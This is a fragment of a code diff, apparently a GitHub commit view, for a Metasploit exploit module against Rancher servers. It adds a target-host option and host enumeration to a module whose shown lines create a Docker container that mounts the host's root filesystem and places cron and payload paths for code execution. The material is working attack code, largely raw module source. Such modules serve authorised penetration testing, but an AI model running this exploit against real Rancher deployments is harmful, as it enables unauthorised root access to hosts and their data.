@@ -40,6 +40,7 @@ def initialize(info = {})
40
40
[
41
41
Opt ::RPORT ( 8080 ) ,
42
42
OptString . new ( 'TARGETURI' , [ true , 'Path to Rancher Environment' , '/v1/projects/1a5' ] ) ,
43
+ OptString . new ( 'TARGETHOST' , [ true , 'Target Rancher Host' , '1h1' ] ) ,
43
44
OptString . new ( 'DOCKERIMAGE' , [ true , 'hub.docker.com image to use' , 'alpine:latest' ] ) ,
44
45
OptInt . new ( 'WAIT_TIMEOUT' , [ true , 'Time in seconds to wait for the docker container to deploy' , 60 ] ) ,
45
46
OptString . new ( 'CONTAINER_ID' , [ false , 'container id you would like' ] ) ,
@@ -85,6 +86,7 @@ def make_container(mnt_path, cron_path, payload_path, container_id)
85
86
'instanceTriggeredStop' => 'stop' ,
86
87
'startOnCreate' => true ,
87
88
'networkMode' => 'managed' ,
89
+ 'requestedHostId' => datastore [ 'TARGETHOST' ] ,
88
90
'type' => 'container' ,
89
91
'dataVolumes' => [ '/:' + mnt_path ] ,
90
92
'imageUuid' => 'docker:' + datastore [ 'DOCKERIMAGE' ] ,
@@ -97,7 +99,7 @@ def make_container(mnt_path, cron_path, payload_path, container_id)
97
99
def check
98
100
res = send_request_raw (
99
101
'method' => 'GET' ,
100
- 'uri' => normalize_uri ( target_uri . path , 'containers ') ,
102
+ 'uri' => normalize_uri ( '/v1/projects ') ,
101
103
'headers' => { 'Accept' => 'application/json' }
102
104
)
103
105
@@ -112,7 +114,23 @@ def check
112
114
end
113
115
114
116
if res . code == 200 and res . headers . to_json . include? 'X-Rancher-Version'
115
- return Exploit ::CheckCode ::Appears
117
+ # get all rancher environments
118
+ projects = JSON . parse ( res . body ) [ 'data' ] . map { |data | data [ 'id' ] }
119
+ # get all hosts from environments
120
+ target_found = false
121
+ projects . each do |project |
122
+ res = send_request_raw (
123
+ 'method' => 'GET' ,
124
+ 'uri' => normalize_uri ( '/v1/projects' , project , 'hosts' ) ,
125
+ 'headers' => { 'Accept' => 'application/json' }
126
+ )
127
+ hosts = JSON . parse ( res . body ) [ 'data' ] . map { |data | data [ 'id' ] }
128
+ hosts . each do |host |
129
+ target_found = true
130
+ print_good ( "TARGETHOST #{ host } found on TARGETURI /v1/projects/#{ project } " )
131
+ end
132
+ end
133
+ return Exploit ::CheckCode ::Appears if target_found == true
116
134
end
117
135
118
136
Exploit ::CheckCode ::Safe
0 commit comments